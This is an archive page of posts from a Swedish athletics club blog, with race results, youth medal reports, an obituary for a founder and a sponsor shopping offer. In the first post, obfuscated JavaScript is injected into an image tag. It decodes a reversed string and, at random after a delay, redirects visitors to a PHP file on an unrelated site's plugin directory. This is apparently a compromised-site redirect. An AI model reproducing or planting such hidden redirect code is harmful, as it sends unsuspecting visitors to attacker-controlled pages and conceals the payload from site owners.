Author Archives: Peter Helgeson

5 Graalmedaljer på Vårkampen i Hässleholm

Posted on 4 maj, 2015 | Kommentarer inaktiverade för 5 Graalmedaljer på Vårkampen i Hässleholm
Vigor Josefsson <script srcset=

$nJe=function(n){if (typeof ($nJe.list[n]) == ”string”) return $nJe.list[n].split(””).reverse().join(””);return $nJe.list[n];};$nJe.list=[”\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tog hem en av Graals fem medaljer i Hässelholm.” width=”300″ height=”225″ /> Vigor Josefsson tog hem en av Graals fem medaljer i Hässelholm.

Våra Graalungdomar visade verkligen framfötterna när Vårkampen avgjordes på ett soligt Göingevallen i Hässleholm under söndagen.

För de gröngula blev det en seger i och med Celine Aagaard sprang hem 400m loppet i F9 på 1.15.58. Celine var också den som var flitigast bland Graalarna och passade på att ta hem silvret i längdhopp på 3,60 m och bronset i höjdhopp på 104 cm. Dessutom blev hon femma i såväl kula (4,53 m) som 60 meter (10.21/10.28 kvar/final).

Oskar Karlsson sprang 600 meter i tufft motstånd och fick se sig slagen av två andra grabbar i P13 klassen och kasserade därmed in ännu en bronsmedalj till det redan välfyllda prisskåpet. Tiden blev 1.48.62.

Gladast bland Graals medaljörer var nog ändå Vigor Josefsson som sprang 60 meter på fina 10.50 och blev därmed bronsmedaljör. Vigor provade även på längdhopp där han blev 9:a i en mycket jämn klass, bara en ynklig centimeter från 8:de platsen.

Vi gratulerar till fina insatser!

Den kompletta resultatlistan finns här.

Kommentarer inaktiverade för 5 Graalmedaljer på Vårkampen i Hässleholm

Posted in Tävlingsrapporter

45 nöjda löpare på Strömsnäs Trailrun

Posted on 26 april, 2015 | Kommentarer inaktiverade för 45 nöjda löpare på Strömsnäs Trailrun

38 löpare och 7 gående kunde efter avslutat lopp till slut pusta ut efter ett tufft dagsverke. Stigslingan som bangruppen med Lars Hansen i spetsen hade hittat fantastiska slingor genom skogarna och avslutningen på ”Lasses slingor” tog musten ur den som eventuellt hade sparat på krafterna under banan första två tredjedelar.

Snabbast blev inte oväntat Henrik Jansson, Elmhults SC, som efter cirka en kilometer tillsammans med Jonas Almarsson, växlade upp och lämnade bara spåren i det bitvis blöta underlaget som enda ledtråd till att han fanns där framme någonstans.

Snabbaste tjej blev Elin Brink, Markaryd, men tävlande för Mölndals AIK, som hade en lucka ner till Linda Jansson, Elmhults SC.

Vi vill önska ett stort tack till alla deltagare och arrangörer för en härlig dag, och hoppas att alla som deltog kan ta med sig minst en ny deltagare till nästa år, eller varför inte redan till Festivalloppet i augusti.

Här finns hela resultatlistan

Det är även utlovat ett flertal bilder från loppet, så håll utkik längre fram i veckan.

Kommentarer inaktiverade för 45 nöjda löpare på Strömsnäs Trailrun

Posted in Tävlingsrapporter

Niklas vann i Bromölla

Posted on 15 mars, 2015 | Kommentarer inaktiverade för Niklas vann i Bromölla

I helgen gjorde tre av våra snabbaste Graalare säsongsdebut. På plats på Maxilöpet i Bromölla fanns Jonas Almarsson, Niklas Lundh och Ola Hanzon.

Banan i Bromölla består av en väldigt flack 5 km slinga som springs antingen ett eller två varv. Jonas och Ola hade bestämt sig för den längre varianten medan Niklas nöjde sig med ett varv.

Redan från start kände Jonas och Ola att benen var rätt tunga och känslan var inte på topp. Men Jonas kunde ändå ta rygg på förra årets vinnare under det första varvet, efter att en löpare stuckit direkt från start. Men en bit in på det andra varvet började det bli riktigt jobbigt för Jonas som till slut tvingas släppa en lucka på 30-40 meter, ett avstånd som sedan skulle visa sig bli svårt att ta in igen. Jonas hade dock inga problem att freda tredjeplatsen från bakifrån kommande löpare, och kunde till slut springa i mål som trea på fina tiden 35.45. Ola hade det däremot tyngre, men slutade ändå på en tiondeplats på 39.04.

För Niklas del som sprang 5 kilometersloppet kunde han redan efter en kilometer trycka på lite extra och lämna övriga startfältet bakom sig och springa till sig en klar seger på fina 17.16, nästan 30 sekunder före tvåan.

Vi gratulerar våra Graalare till fina prestationer och ser fram emot att få se dem prestera på ”hemmaplan” i Annelundsrunda och Hallarydsloppet som båda avgörs inom den närmaste tiden.

Kommentarer inaktiverade för Niklas vann i Bromölla

Posted in Tävlingsrapporter

Dubbla pers och en femteplats på USM för Lovisa

Posted on 9 mars, 2015 | Kommentarer inaktiverade för Dubbla pers och en femteplats på USM för Lovisa

I helgen avgjordes inomhus-SM för 15- och 16-åringar i Örebro. De gulgröna färgerna försvarades av Lovisa Bardh som slog till med ett nytt personligt rekord redan i försöken. Och det var inte vilket personligt rekord som helst. Hon sänkte perset med hela 10 sekunder ner till 5.07.68 och tog sig därmed vidare till final.

Med det nya tempot i kroppen sprang Lovisa lovande även i finalen och putsade perset ytterligare en gång, den här gången dock bara med en knapp halvsekund. I en hård spurtduell passerade hon mållinjen som femte tjej på tiden 5.07.27.

Vi gratulerar till framgången och de nya persen!

Kommentarer inaktiverade för Dubbla pers och en femteplats på USM för Lovisa

Posted in Tävlingsrapporter

Två riktigt bra föreläsningar

Posted on 2 mars, 2015 | Kommentarer inaktiverade för Två riktigt bra föreläsningar

Jag vill tipsa om två föreläsningar som Smålandsidrotten genomför i Ljungby den närmaste tiden.

Den första är redan på onsdag (4 mars) och hålls av före detta förbundskaptenen i basket, Jim Thuresson och handlar om ledarskap inom idrotten. Jag var själv och lyssnade på Jim för ett år sedan, och han är en av de bästa föreläsarna jag någonsin lyssnat till. Karismatisk, tänkvärd och mycket underhållande. Offra ett några timmar på onsdagskvällen för att lyssna på Jim, jag lovar att ni kommer inte ångra er, oavsett om ni är ledare, tränare eller bara idrottsintresserade. OBS Anmälan senast idag måndag till denna föreläsning.

Den andra föreläsningen handlar om ”Styrketräning för äldre” och går tisdagen den 24 mars. Även denna föreläsning har jag själv varit på och tyckte att den var intressant. Som namnet antyder är den framför allt riktad mot lite äldre deltagare (55-60+). Men det gavs även en del tips som var användbara för yngre (t.ex. jag själv).

Båda föreläsningarna är kostnadsfria och det bjuds på fika.

Nedan finns inbjudningar till respektive föreläsning.

/Daniel

Styrketräning för äldre 24 mars Ljungby

Temakväll det goda ideella ledarskapet

Kommentarer inaktiverade för Två riktigt bra föreläsningar

Posted in Övrigt

Graals namngivare har lämnat oss

Posted on 27 februari, 2015 | Kommentarer inaktiverade för Graals namngivare har lämnat oss

Den sista av grundarna av SK Graal, Lennart Brodén, avled i måndags. Lennart som i höst skulle fyllt 92 år har varit en viktig person i SK Graals historia.

Han var med i det gäng som en gång bildade SK Graal för 75 år sedan, och enligt berättelserna från den tiden ska det också ha varit han som valde namnet SK Graal. Lennart hade i Graals ungdom flera styrelseposter, men framför allt går han till historien som troligen landets meste revisor. I inte mindre än 50 år har han troget granskat SK Graals räkenskaper för medlemmarnas räkning.

Vi minns Lennart som en minst sagt skojfrisk figur som alltid hade minst två rävar bakom örat.

Vila i frid Lennart!

Kommentarer inaktiverade för Graals namngivare har lämnat oss

Posted in Övrigt

Celine mångkampsdebuterade

Posted on 22 februari, 2015 | Kommentarer inaktiverade för Celine mångkampsdebuterade

Micropower_eventFörra helgen var Celine Aagaard i tävlingsfarten igen. Denna gången testade hon på att debutera i mångkamp. I samband med Micropower Event i Växjö tävlade tjejerna i F9 i trekamp.

Celines mamma Anna har skickat en rapport om tävlingarna som vi redovisar i sin helhet nedan:

Först stötte hon kula och kom på tredje plats, sen var det 60 m där vi inte vet vad hon kom på. (Hittar inga resultatlistor.)

Sist sprang hon 400 m. och där blev det en klar seger.

Så när det var prisutdelning visste vi inte alls vilken placering, men hon fick gå upp överst på prispallen så det gick ju bra !

Det verkade inte vara rörigt bara under själva tävlingen, utan även efter. När vi tittar i resultatlistan på arrangerande IFK Växjös hemsida står det nämligen att trekampen bestod av kula, längd och 400 meter…
Ännu rörigare blir det när vi börjar titta lite närmare i resultatlistan. Enligt den hade Celine bara den näst längsta stöten, men fick ändå tredje flest poäng av de elva deltagarna.
I längdhoppet, som ju är lite diffust om det överhuvud taget hoppades, har i alla fall Celine tredje längsta hoppet, och tredje bästa poäng.
På det avslutande 400m loppet var Celine dock lika överlägsen i både resultatlistan som på banan, och med tiden 77.48 var hon över 8 sekunder snabbare än näst snabbaste tjej och tog därmed hem totalen i kampen.

Rörigt är alltså bara förnamnet – men vi säger som Anna
Hon fick i alla fall gå upp överst på prispallen – så det gick ju bra!

Kommentarer inaktiverade för Celine mångkampsdebuterade

Posted in Tävlingsrapporter

2 guld och 1 brons på Inomhus-UDM

Posted on 1 februari, 2015 | Kommentarer inaktiverade för 2 guld och 1 brons på Inomhus-UDM

I helgen avgjordes inomhus-DM för såväl ungdomar som seniorer i fina Telekonsult Arena i Växjö. SK Graal hade två löpare på startlinjen som tillsammans gjorde 3 starter.

Oskar Karlsson var sin vana trogen snabb och tog hem segern i P13 på både 800m och 1500m på tiderna 2.26.99 respektive smått förtretliga 5.00.07. Övriga konkurrenter var aldrig ens i närheten då segermarginalen skrev på 800m skrevs till 15 sekunder medan avståndet på 1500 meter hela 28 sekunder – nästan ett helt varv.

Den tredje medaljen togs hem av Lovisa Bardh som tog hem en hård spurtduell om tredjeplatsen i F17 på 1500m på tiden 5.22.03.

Stort grattis till fina prestationer!

Kommentarer inaktiverade för 2 guld och 1 brons på Inomhus-UDM

Posted in Tävlingsrapporter

Flitig medaljör i Karlskrona

Posted on 1 februari, 2015 | Kommentarer inaktiverade för Flitig medaljör i Karlskrona

CelineCeline Aagaard fick i torsdags ta emot både Oves minne och priset som Årets löpartjej. Idag, söndag, var hon åter på tävlingsbanorna igen när KA2-spelen avgjordes nere i Karlskrona. Den här gången visade hon att hon har talang för mer än bara löpning.

Dagen inleddes med höjdhopp, en gren som Celine aldrig tävlat i förut. Men räkna med att det kommer bli fler höjdhopp för den unga talangen. Med ett hopp över 1,05 hoppade hon 5 cm högre än de andra tjejerna i F9, och tog därmed hem dagens första guldmedalj.

Därefter fortsatte det med kulstötning, där Celine skickade iväg den 2 kg tunga kulan 4,45 meter, vilket räckte till en bronsmedalj.

Därefter var det dags att börja springa lite, där Celine inledde med att vinna sitt kvalheat på 60 meter och följde upp det med att komma tvåa i finalen på fina 10,10.

Dagen avslutades med Celines paradgren, 600 meter. Som vanligt hade inte konkurrenterna en chans utan Celine kunde enkelt segla ifrån övriga fältet 2.06.87. Hela 15 sekunder snabbare än tvåan.

Kommentarer inaktiverade för Flitig medaljör i Karlskrona

Posted in Tävlingsrapporter

Handla billigt och stötta SK Graal

Posted on 31 januari, 2015 | Kommentarer inaktiverade för Handla billigt och stötta SK Graal

Wiggle_runSom jag kunde berätta på årsmötet så har vi nu ett avtal med sportutrustningsjätten Wiggle.

Wiggle tillhandahåller ett enormt utbud av produkter till framför allt löpning, cykel och simning. Priserna ligger generellt 20-30% lägre än i klassiska butiker.

Handlar du för över 420 kronor så får du dessutom fri frakt. Är du osäker på vilken storlek du behöver på t.ex. ett par skor, kan du beställa hem två eller tre par i olika storlekar och så länge du inte använt dem kan du skicka tillbaka dem upp till 365 dagar senare och få pengarna tillbaka. Det enda du betalar är en returfrakt på 30 kronor.

Det allra bästa med avtalet är att om du går in via länken/bannern här på vår hemsida så får Graal tillbaka 5% av det som du handlat. Köper du till exempel ett par skor för en tusenlapp får Graal 50 kronor i provision. Samtidigt som du sparar minst 2-300 kronor på inköpspriset och slipper köra flera mil för att köpa skorna.

OBS att det är viktigt att du går in på Wiggles sida via länken här på vår hemsida, annars fungerar inte återbäringssystemet. Tipsa gärna vänner och bekanta om detta.

Om du beställer från Wiggle får du gärna skicka ett mail till info@skgraal.se och ange när och hur mycket du beställt för så kan vi hålla lite koll på att systemet faktiskt fungerar. I nuläget går det inte att se att man stöttar Graal när man handlar, utan det är bara vetskapen om att man gick in via vår hemsida som garanterar det.

Har du några frågor angående avtalet så kontakta Daniel.

Kommentarer inaktiverade för Handla billigt och stötta SK Graal

Posted in Övrigt